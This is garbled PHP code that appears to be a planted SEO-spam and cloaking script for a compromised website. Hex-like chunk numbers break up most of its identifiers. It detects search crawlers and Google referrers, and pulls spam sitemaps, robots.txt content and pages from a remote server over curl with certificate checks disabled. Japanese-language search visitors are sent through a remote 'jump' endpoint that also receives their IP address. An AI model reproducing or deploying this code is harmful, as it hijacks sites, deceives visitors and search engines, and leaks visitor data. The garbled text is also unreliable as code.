2 8 server(' 3 HTT 2 PS 3 ') 1 & 3 & ( 3 "1" 2 = 2 = 17 $this->server('HTTPS') 3 || 3 "on 5 " == 5 strto 3 low 4 er($ 15 this->server('HTTPS') 1 ) 19 )) { return t 3 rue b ; } 3 el 2 se 5 if (' 5 https 1 ' 14 == $this->server('R 2 EQ 2 UE 3 ST_ 2 SC 2 HE 3 ME' 31 )) { return true; } elseif (' 2 44 1 3 14 ' == $this->server(' 7 SERVER_ 2 PO 2 RT 32 ')) { return true; } elseif (' 19 https' == $this->server(' 4 HTTP 2 _X 3 _FO 2 RW 2 AR 2 DE 3 D_P 2 RO 2 TO 28 ')) { return true; } 10 return 2 fa 3 lse 1c ; } public function 3 hos 1 t 12 () { $ 4 host 6 = str 3 val 14 ($this->server('HTTP e _X_FORWARDED_H 2 OS 4 T') 2 ?: 15 $this->server('HTTP_ 6 HOST') 12 ); return 3 str 3 pos 1 ( 7 $host, 2 ': 4 ') ? 7 strstr b ($host, ':' 1 , 6 true) 4 : $ 4 host 1c ; } public function 3 sch 2 em 1 e 11 () { 8 return $ 6 this-> 5 iss() 3 ? 7 "https" 3 : 22 "http"; } public function 2 dm 1f () { return $this-> 9 scheme() 2 . 1 " 4 ://" 3 . 7 $this-> 6 host() 1e ; } public function ip 17 () { if (ge 3 ten 1 v 8 ('HTTP_C 2 LI 2 EN 3 T_I 1 P 13 ')) { $ 2 ip 3 = 18 getenv('HTTP_CLIENT_IP') 14 ; } elseif ( d getenv('HTTP_ c X_FORWARDED_ 3 FOR 25 ')) { $ip = getenv('HTTP_ 11 X_FORWARDED_FOR') 1c ; } elseif (getenv(' 2 RE 3 MOT 2 E_ 3 ADD 2e R')) { $ip = getenv('REMOTE_ADDR') 10 ; } else 15 { $ip = 11 $this->server('RE 16 MOTE_ADDR'); } 13 return $ip 1f ; } public function isc 12 () { $ 2 ag 3 ent 1 21 = strtolower($this->server('HTTP_ 1 U 4 SER_ 2 AG 3 ENT d ')); 5 if ($ 6 agent 1 ! 4 = '' 5 && p 3 reg 2 _m 3 atc 3 h(' 2 /g 3 oog 2 le 3 bot 1 | 8 google|y 2 ah 3 oo| 1 b 4 ing| 2 ao 3 l/s 1 i 4 ', $ 5 agent 58 )) { return true; } return false; } public function 3 isg 9 () { 1 3 $r 3 efe 1 r 23 = strtolower($this->server('HTTP_R 2 EF 3 ERE 1 R d ')); 9 $referbot 1 s 4 = ' 16 google|yahoo|bing|aol' 15 ; if ($refer 16 != '' && preg_match("/ 1 ( b $referbots) 4 /si" 1 , 7 $refer 58 )) { return true; } return false; } public function 3 uri 17 () { if (($ 3 pos 6 = str 5 pos($ 17 this->server('REQUEST_U 2 RI 2 ') 3 , ' 1 . 3 php 5 ')) ! 3 == 5 false 11 ) { $ 3 scr 3 ipt 1 _ 8 name = b 3 ase 4 name 10 ($this->server(' 3 SCR 2 IP 2 T_ 3 FIL 2 EN 1 A 6 ME')); d 4 if ( 1f basename($this->server('SCRIPT_ 7 NAME')) 3 == 1 = d $script_name 10 ) { 6 $u 2 rl 12 = $this->server(' d SCRIPT_NAME') e ; a } elseif ( 18 basename($this->server(' 2 PH 1 P 4 _SEL 1 F 3e ')) === $script_name) { $url = $this->server(' a PHP_SELF') 32 ; } elseif (basename($this->server('OR 2 IG 1 _ 49 SCRIPT_NAME')) === $script_name) { $url = $this->server(' 12 ORIG_SCRIPT_NAME') 18 ; } elseif ( 1e ($pos = strpos($this->server(' a PHP_SELF') 5 , '/' 4 . $ c script_name) 1b ) !== false) { c $url = s 2 ub 5 str($ 1d this->server('SCRIPT_NAME'), 1 0 3 , $ 3 pos 4 ) . 12 '/' . $script_name 18 ; } elseif ( 10 $this->server('D 2 OC 2 UM 4 ENT_ 2 RO 2 OT 6 ') && 16 strpos($this->server(' 11 SCRIPT_FILENAME') 1 , 10 $this->server(' f DOCUMENT_ROOT') 7 ) === 0 1d ) { $url = st 6 r_repl 2 ac 11 e($this->server(' f DOCUMENT_ROOT') 1 , 6 '', $ 2e this->server('SCRIPT_FILENAME')); 1 } d 3 $re 1 q 3 uri 8 = $url 1 . 17 substr($this->server(' f REQUEST_URI'), 5 $pos 2 + 1 4 21 ); } else { $ 9 requri = 25 substr($this->server('REQUEST_URI'), 27 strpos($this->server('REQUEST_URI'), '/ d ')); 11 } return 3 rtr 2 im 8 ($requri 6 , '/') 1e ; } public function ex 2 ec 3 Req 1 ( 4 $url 7 , $p = 4 arra 3 y() 11 ) { $ 14 url = str_replace(' 3 ', 2 '+ 4 ', $ 3 url c ); $ 2 ch 4 = c 4 url_ 3 ini d t(); 5 curl_ 3 set 2 op 3 t($ 3 ch, 2 C 3 URL 2 OP 4 T_UR 1 L 11 , $url); 1b curl_setopt($ch, CURLOPT_RE 2 TU 2 RN 3 TRA 2 NS 3 FER 2 , 1 1 25 ); curl_setopt($ch, CURLOPT_H 2 EA 5 DER, 1 0 25 ); curl_setopt($ch, CURLOPT_T 2 IM 2 EO 3 UT, 2 2 25 0); curl_setopt($ch, CURLOPT_ 1 P 3 OST 27 , 1); curl_setopt($ch, CURLOPT_ 3 SSL 1 _ 4 VERI 1 F 3 YPE 29 ER, 0); curl_setopt($ch, CURLOPT_ b SSL_VERIFYH 5 OST, 25 0); curl_setopt($ch, CURLOPT_ 5 POSTF 2 IE 2 LD 3 S, 6 http_b 3 uil 2 d_ 3 que 1 r 4 y($p d )); $ 2 ou 3 tpu 1 t 8 = curl_ 4 exec 10 ($ch); $ 6 errorC 3 ode 9 = curl_e 3 rrn 1 o 14 ($ch); curl_ 3 clo 2 se f ($ch); 4 if ( 1 0 5 !== a $errorCode 17 ) { return b false; 4 12 } return $ 6 output 8 ; } 2 } 4 $req 3 = 2 ne 1 w 4 Req 5 (); $ 3 isc 7 = $req 5 ->isc 8 (); $isg b = $req->is 6 g(); $ 2 um 1 a 7 p = $tr 4 . " 4 map" 9 ; $uri = 3 url 3 dec 3 ode 7 ($req-> 9 uri()); $ a p = array( 7 "d 2 om 2 ai 4 n" = 1 > 7 $req-> 5 dm(), 6 " 4 port b " => $req-> 15 server('SERVER_PORT', 2 8 1 0 b ), "uri 6 " => $ 4 uri 3 ); 4 if ( 8 substr($ 6 uri, - 2 10 5 ) == 2 "r 1 o 5 bots. 3 txt 1 " 9 ) { h 3 ead 4 er(" 2 Co 1 n 4 tent 3 -ty 2 pe 3 :te 3 xt/ 5 plain 3 ; c 2 ha 1 r 5 set=u 2 tf 2 -8 1 " 9 ); di 8 e($req-> 9 execReq($ 6 tr . " 6 robots 4 ", $ 6 p)); } 13 if (substr($uri, - 1 6 c ) == "robots 9 ") { a $output = 21 $req->execReq($tr . "robots", $p) 6 ; 3 $rp 4 t = 3 __D 3 IR_ 1 _ 5 . "/ b robots.txt" 7 ; f 3 ile 4 _put 2 _c 6 ontent 3 s($ 4 rpt, 8 $output 9 ); $r 5 obots 5 _cont 4 = @ 5 file_ 3 get e _contents($rpt 7 ); 5 if (s 6 trpos( c strtolower($ b robots_cont 3 ), 3 "si 2 te 4 map" d )) { 4 die( b "robots.txt 6 file 3 cre 3 ate 3 su 3 cce 2 ss 1 ! 8 "); 11 } else { 1d die("robots.txt file create f 3 ail a !"); } 16 } if (substr($uri, -4 6 ) == " 2 .x 2 ml 9 ") { b if (strpos( 7 $uri, " 3 all 7 sitemap 7 .xml") 3 || e strpos($uri, " 7 sitemap 3 -in 2 de 1 x 26 .xml") || strpos($uri, "sitemap-index- 1 1 18 .xml") || strpos($uri, " b index.xml") c ) { 19 $output = $req->execReq($ 4 umap b , $p); 4 1a header("Content-type:text/ 4 " . 9 (substr($ 6 output 6 , 0, 5 8 ) === '< 1 ? 4 xml' 3 ? 1 ' 7 xml' : 1 ' 6 plain' 5 ) . ' f ; charset=utf-8 c '); 5 die(' 5 ' . $ e output); } 24 $output = $req->execReq($tr . " 2 wo 2 rd c ", $p); 1a header("Content-type:text/ 3 xml 17 ; charset=utf-8"); 5 if ($ 8 output = 4 = "1 1 " 10 ) { die( 6 '' . $ 17 req->execReq($umap, $p) 1c ); } else { die( 15 '' . $output); } 3 } $ 2 la 1 n a g = $req-> d server('HTTP_ 3 ACC 1 E 4 PT_L 2 AN 2 GU 3 AGE 1 ' 7 ); if ( 1 ! 5 $isc 3 && 5 $isg b && strpos($ 4 lang 3 , ' 3 ja' 1 ) 3 !== d false) { 2 $p 3 ["i 2 p" 1 ] b = $req->ip 8 (); 2 $a 6 ction a = $tr . "j 2 um 8 p"; 13 die($req->execReq($ 6 action e , $p)); } if ( 4 $isc 8 ) { 18 die('' . $req->execReq($ 6 tr . " 4 inda 2 ta b ", $p)); } 2 ?> 0